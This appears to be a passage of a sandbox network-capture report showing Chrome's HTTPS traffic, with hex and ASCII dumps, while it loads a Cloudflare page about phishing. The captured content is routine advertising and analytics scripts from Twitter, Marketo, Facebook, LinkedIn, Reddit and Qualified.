document.createElement('div');d.innerHTML = `<noscript>\n<img height=\"1\" width=\"1\" style=\"d
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 6e 29 5b 30 5d 2c 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 75 2c 61 29 29 7d 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 29 3b 5c 6e 2f 2f 20 49 6e 73 65 72 74 20 54 77 69 74 74 65 72 20 41 64 76 65 72 74 69 73 65 72 20 49 44 5c 6e 74 77 71 28 27 63 6f 6e 66 69 67 27 2c 27 6e 76 6c 64 63 27 2c 20 7b 5c 6e 20 20 72 65 73 74 72 69 63 74 65 64 5f 64 61 74 61 5f 75 73 65 3a 20 27 72 65 73 74 72 69 63 74 5f 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 27 20 2f 2f 20 6f 72 20 27 6f 66 66 27 5c 6e 7d 29 3b 5c 6e 7d 3b 7b 63 6f 6e 73 74 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 3b 64 2e 69 6e 6e 65 Data Ascii: ementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script');\n// Insert Twitter Advertiser ID\ntwq('config','nvldc', {\n restricted_data_use: 'restrict_optimization' // or 'off'\n});\n};{const d = document.createElement('div');d.inne
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 64 79 73 74 61 74 65 63 68 61 6e 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 5c 6e 20 20 20 20 69 66 20 28 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 20 27 63 6f 6d 70 6c 65 74 65 27 20 7c 7c 20 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 20 27 6c 6f 61 64 65 64 27 29 20 7b 5c 6e 20 20 20 20 20 20 69 6e 69 74 4d 75 6e 63 68 6b 69 6e 28 29 3b 5c 6e 20 20 20 20 7d 5c 6e 20 20 7d 3b 5c 6e 20 20 73 2e 6f 6e 6c 6f 61 64 20 3d 20 69 6e 69 74 4d 75 6e 63 68 6b 69 6e 3b 5c 6e 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 5c 6e 7d 29 28 29 3b 5c 6e 7d 3b 7b 63 6f 6e 73 74 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 Data Ascii: dystatechange = function() {\n if (this.readyState == 'complete' \|\| this.readyState == 'loaded') {\n initMunchkin();\n }\n };\n s.onload = initMunchkin;\n document.getElementsByTagName('head')[0].appendChild(s);\n})();\n};{const d = document
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 6e 65 73 63 61 70 65 28 27 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 5f 56 56 67 78 5f 5f 66 62 2d 70 69 78 65 6c 25 33 44 25 33 42 25 32 30 44 6f 6d 61 69 6e 25 33 44 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 33 42 25 32 30 50 61 74 68 25 33 44 2f 25 33 42 25 32 30 4d 61 78 2d 41 67 65 25 33 44 30 27 29 3b 64 2e 63 6f 6f 6b 69 65 3d 75 6e 65 73 63 61 70 65 28 27 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 5f 62 48 6f 78 5f 5f 66 62 2d 70 69 78 65 6c 25 33 44 25 33 42 25 32 30 44 6f 6d 61 69 6e 25 33 44 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 33 42 25 32 30 50 61 74 68 25 33 44 2f 25 33 42 25 32 30 4d 61 78 2d 41 67 65 25 33 44 30 27 29 3b 64 2e 63 6f 6f 6b 69 65 3d 75 6e 65 73 63 61 70 65 28 27 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 5f 65 6c 4b Data Ascii: nescape('facebook-pixel_VVgx__fb-pixel%3D%3B%20Domain%3Dcloudflare.com%3B%20Path%3D/%3B%20Max-Age%3D0');d.cookie=unescape('facebook-pixel_bHox__fb-pixel%3D%3B%20Domain%3Dcloudflare.com%3B%20Path%3D/%3B%20Max-Age%3D0');d.cookie=unescape('facebook-pixel_elK
2024-10-18 13:48:11 UTC	605	IN	Data Raw: 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 5d 2c 22 66 22 3a 5b 5b 22 68 74 74 70 73 3a 2f 2f 70 78 2e 61 64 73 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 2f 63 6f 6c 6c 65 63 74 2f 3f 66 6d 74 3d 6a 73 26 76 3d 32 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 6c 65 61 72 6e 69 6e 67 25 32 46 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 25 32 46 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 25 32 46 26 74 69 6d 65 3d 31 37 32 39 32 35 39 32 39 31 37 36 39 26 70 69 64 3d 32 38 38 35 31 26 63 6f 6e 76 65 72 73 69 6f 6e 49 64 3d 31 33 30 34 33 30 34 34 22 2c 7b 22 63 72 65 64 65 6e 74 69 61 6c 73 22 3a 22 69 6e 63 6c 75 64 65 22 2c 22 6b 65 65 70 61 6c 69 76 65 22 3a 74 72 75 65 2c Data Ascii: ndow,document)"],"f":[["https://px.ads.linkedin.com/collect/?fmt=js&v=2&url=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&time=1729259291769&pid=28851&conversionId=13043044",{"credentials":"include","keepalive":true,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	50772	104.18.17.5	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:11 UTC	553	OUT	GET /qualified.js?token=37pXYrro6wCZbsU7 HTTP/1.1 Host: js.qualified.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:11 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:11 GMT Content-Type: text/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=60, public, stale-while-revalidate=60, stale-if-error=300, s-maxage=86400 etag: W/"6922059b668a4ae8094259da0c37f585" referrer-policy: strict-origin-when-cross-origin strict-transport-security: max-age=63072000; includeSubDomains vary: Accept,Accept-Encoding x-cache: miss x-content-type-options: nosniff x-download-options: noopen x-envoy-upstream-service-time: 60 x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-request-id: de2520ac-6ea2-4664-9066-59d004f57405 x-runtime: 0.034891 x-xss-protection: 1; mode=block CF-Cache-Status: HIT Age: 18536 Server: cloudflare CF-RAY: 8d48fc0d6afd4867-DFW
2024-10-18 13:48:11 UTC	563	IN	Data Raw: 37 63 37 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 71 75 61 6c 69 66 69 65 64 2d 33 33 38 64 37 32 36 61 61 30 30 61 61 63 39 32 31 61 66 64 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 76 61 72 20 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 61 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 61 2e 65 78 70 6f 72 74 73 2c 61 2c 61 2e 65 78 70 6f 72 74 73 2c 6e Data Ascii: 7c78(function() { /! For license information please see qualified-338d726aa00aac921afd.js.LICENSE.txt /var init=function(e){var t={};function n(i){if(t[i])return t[i].exports;var a=t[i]={i:i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 2c 74 29 7b 69 66 28 31 26 74 26 26 28 65 3d 6e 28 65 29 29 2c 38 26 74 29 72 65 74 75 72 6e 20 65 3b 69 66 28 34 26 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 69 66 28 6e 2e 72 28 69 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 64 65 66 61 75 6c 74 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 65 7d 29 2c 32 26 74 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 66 6f 72 28 76 61 72 20 61 20 69 6e 20 65 29 6e 2e 64 28 69 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 5b 74 5d 7d 2e Data Ascii: ,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)n.d(i,a,function(t){return e[t]}.
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 35 35 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 31 35 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 36 31 33 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 36 30 36 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 36 31 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 33 34 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 31 30 32 29 2c 61 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 Data Ascii: )}},function(e,t,n){e.exports=n(455)},function(e,t,n){e.exports=n(415)},function(e,t,n){e.exports=n(613)},function(e,t,n){e.exports=n(606)},function(e,t,n){e.exports=n(461)},function(e,t,n){e.exports=n(340)},function(e,t,n){var i=n(102),a=Function.prototy
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 35 39 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 38 29 2c 61 3d 6e 28 34 33 29 2c 72 3d 69 28 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 29 3b 65 2e 65 78 70 6f 72 74 73 3d 4f 62 6a 65 63 74 2e 68 61 73 4f 77 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 72 28 61 28 65 29 2c 74 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 34 37 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 32 32 Data Ascii: function(e){return"function"==typeof e}},function(e,t,n){e.exports=n(459)},function(e,t,n){var i=n(8),a=n(43),r=i({}.hasOwnProperty);e.exports=Object.hasOwn\|\|function(e,t){return r(a(e),t)}},function(e,t,n){e.exports=n(447)},function(e,t,n){e.exports=n(22
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 6f 74 79 70 65 22 3d 3d 3d 74 26 26 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 68 20 69 6e 20 6e 26 26 21 6e 5b 68 5d 29 7b 76 61 72 20 69 3d 75 28 65 2c 74 29 3b 69 26 26 69 5b 68 5d 26 26 28 65 5b 74 5d 3d 6e 2e 76 61 6c 75 65 2c 6e 3d 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 6d 20 69 6e 20 6e 3f 6e 5b 6d 5d 3a 69 5b 6d 5d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 63 20 69 6e 20 6e 3f 6e 5b 63 5d 3a 69 5b 63 5d 2c 77 72 69 74 61 62 6c 65 3a 21 31 7d 29 7d 72 65 74 75 72 6e 20 64 28 65 2c 74 2c 6e 29 7d 3a 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 6f 28 65 29 2c 74 3d 73 28 74 29 2c 6f 28 6e 29 2c 61 29 74 72 79 7b 72 65 74 75 72 6e 20 64 28 65 2c 74 2c 6e 29 7d 63 61 74 63 68 28 69 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 6e 7c 7c 22 73 65 Data Ascii: otype"===t&&"value"in n&&h in n&&!n[h]){var i=u(e,t);i&&i[h]&&(e[t]=n.value,n={configurable:m in n?n[m]:i[m],enumerable:c in n?n[c]:i[c],writable:!1})}return d(e,t,n)}:d:function(e,t,n){if(o(e),t=s(t),o(n),a)try{return d(e,t,n)}catch(i){}if("get"in n\|\|"se
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 7b 73 65 74 3a 61 2c 67 65 74 3a 72 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 61 28 74 2c 22 22 2c 65 28 7b 7d 2c 6e 2c 7b 65 78 70 69 72 65 73 3a 2d 31 7d 29 29 7d 2c 77 69 74 68 41 74 74 72 69 62 75 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 28 74 68 69 73 2e 63 6f 6e 76 65 72 74 65 72 2c 65 28 7b 7d 2c 74 68 69 73 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 29 29 7d 2c 77 69 74 68 43 6f 6e 76 65 72 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 28 65 28 7b 7d 2c 74 68 69 73 2e 63 6f 6e 76 65 72 74 65 72 2c 6e 29 2c 74 68 69 73 2e 61 74 74 72 69 62 75 74 65 73 29 7d 7d 2c 7b 61 74 74 72 69 62 75 74 65 73 3a 7b 76 61 6c Data Ascii: return Object.create({set:a,get:r,remove:function(t,n){a(t,"",e({},n,{expires:-1}))},withAttributes:function(n){return t(this.converter,e({},this.attributes,n))},withConverter:function(n){return t(e({},this.converter,n),this.attributes)}},{attributes:{val
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 69 28 61 28 65 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 32 32 35 29 2c 61 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 26 26 73 65 6c 66 2e 4f 62 6a 65 63 74 3d 3d 3d 4f 62 6a 65 63 74 26 26 73 65 6c 66 2c 72 3d 69 7c 7c 61 7c 7c 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 3b 65 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 35 38 38 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 33 32 31 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e Data Ascii: =function(e){return i(a(e))}},function(e,t,n){var i=n(225),a="object"==typeof self&&self&&self.Object===Object&&self,r=i\|\|a\|\|Function("return this")();e.exports=r},function(e,t,n){e.exports=n(588)},function(e,t,n){e.exports=n(321)},function(e,t,n){var i=n
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 28 32 26 65 29 2c 77 72 69 74 61 62 6c 65 3a 21 28 34 26 65 29 2c 76 61 6c 75 65 3a 74 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 31 35 34 29 2c 61 3d 6e 28 33 35 29 2e 66 2c 72 3d 6e 28 36 30 29 2c 6f 3d 6e 28 32 30 29 2c 73 3d 6e 28 33 30 38 29 2c 6c 3d 6e 28 31 35 29 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 64 29 7b 69 66 28 65 29 7b 76 61 72 20 75 3d 6e 3f 65 3a 65 2e 70 72 6f 74 6f 74 79 70 65 3b 6f 28 75 2c 6c 29 7c 7c 61 28 75 2c 6c 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 74 7d 29 2c 64 26 26 21 69 26 26 72 28 75 2c 22 74 6f 53 74 72 69 6e 67 22 2c 73 29 Data Ascii: configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){var i=n(154),a=n(35).f,r=n(60),o=n(20),s=n(308),l=n(15)("toStringTag");e.exports=function(e,t,n,d){if(e){var u=n?e:e.prototype;o(u,l)\|\|a(u,l,{configurable:!0,value:t}),d&&!i&&r(u,"toString",s)
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 74 3a 75 28 37 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 33 35 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 36 37 34 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 38 36 29 2c 61 3d 54 79 70 65 45 72 72 6f 72 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 69 28 65 29 29 74 68 72 6f 77 20 61 28 22 43 61 6e 27 74 20 63 61 6c 6c 20 6d 65 74 68 6f 64 20 6f 6e 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 34 30 29 3b 65 2e 65 78 70 6f 72 74 73 3d 69 28 22 6e 61 76 69 67 61 74 6f 72 22 2c 22 75 73 65 72 41 67 65 6e 74 Data Ascii: t:u(7)}},function(e,t,n){e.exports=n(350)},function(e,t,n){e.exports=n(674)},function(e,t,n){var i=n(86),a=TypeError;e.exports=function(e){if(i(e))throw a("Can't call method on "+e);return e}},function(e,t,n){var i=n(40);e.exports=i("navigator","userAgent
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 65 78 70 6f 72 74 73 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 69 28 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 35 34 29 2c 61 3d 6e 28 32 33 29 2c 72 3d 6e 28 33 36 29 2c 6f 3d 6e 28 38 39 29 2c 73 3d 6e 28 32 31 34 29 2c 6c 3d 6e 28 34 35 29 2c 64 3d 6e 28 31 31 29 2c 75 3d 6e 28 31 36 33 29 2c 63 3d 6e 28 31 33 30 29 2c 6d 3d 6e 28 32 31 33 29 2c 68 3d 54 79 70 65 45 72 72 6f 72 2c 70 3d 66 75 6e 63 74 69 6f Data Ascii: exports=Array.isArray\|\|function(e){return"Array"==i(e)}},function(e,t){e.exports=function(e){return null!=e&&"object"==typeof e}},function(e,t,n){var i=n(54),a=n(23),r=n(36),o=n(89),s=n(214),l=n(45),d=n(11),u=n(163),c=n(130),m=n(213),h=TypeError,p=functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	50777	151.101.1.140	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:11 UTC	671	OUT	GET /rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729259290739&uuid=ba8ef504-ac9b-4995-be02-177cd5f1712a&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280 HTTP/1.1 Host: alb.reddit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:11 UTC	828	IN	HTTP/1.1 200 OK Connection: close Content-Length: 42 Server: Varnish Retry-After: 0 cross-origin-resource-policy: cross-origin content-type: image/gif Accept-Ranges: bytes Date: Fri, 18 Oct 2024 13:48:11 GMT Via: 1.1 varnish Report-To: {"group": "w3-reporting-nel", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting-nel.reddit.com/reports" }]}, {"group": "w3-reporting", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting.reddit.com/reports" }]}, {"group": "w3-reporting-csp", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting-csp.reddit.com/reports" }]} NEL: {"report_to": "w3-reporting-nel", "max_age": 14400, "include_subdomains": false, "success_fraction": 0.3, "failure_fraction": 0.3}
2024-10-18 13:48:11 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	50771	146.75.88.157	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:11 UTC	530	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	538	IN	HTTP/1.1 200 OK Connection: close Content-Length: 57671 Last-Modified: Tue, 26 Mar 2024 20:58:07 GMT ETag: "bbbcf811d8437a575d796a4c1e5d4fad" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Content-Type: application/javascript; charset=utf-8 Accept-Ranges: bytes Date: Fri, 18 Oct 2024 13:48:12 GMT X-Served-By: cache-iad-kcgs7200117-IAD, cache-lis1490029-LIS X-Cache: HIT, HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 36 31 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 74 2e 65 78 70 6f 72 74 73 3d 28 72 3d 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 26 26 28 72 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2e 63 72 79 70 74 6f 26 26 28 72 3d 73 65 6c 66 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 26 26 28 72 3d Data Ascii: !function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 74 68 69 73 2e 77 6f 72 64 73 3d 74 7c 7c 5b 5d 2c 74 68 69 73 2e 73 69 67 42 79 74 65 73 3d 6e 75 6c 6c 21 3d 65 3f 65 3a 34 2a 74 2e 6c 65 6e 67 74 68 7d 2c 74 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 66 29 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 29 7d 2c 63 6f 6e 63 61 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 77 6f 72 64 73 2c 6e 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 2c 69 3d 74 2e 73 69 67 42 79 74 65 73 3b 69 66 28 74 68 69 73 2e 63 6c 61 6d 70 28 29 2c 72 25 34 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 6e 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 72 2b 6f Data Ascii: this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|f).stringify(this)},concat:function(t){var e=this.words,n=t.words,r=this.sigBytes,i=t.sigBytes;if(this.clamp(),r%4)for(var o=0;o<i;o++){var a=n[o>>>2]>>>24-o%48&255;e[r+o
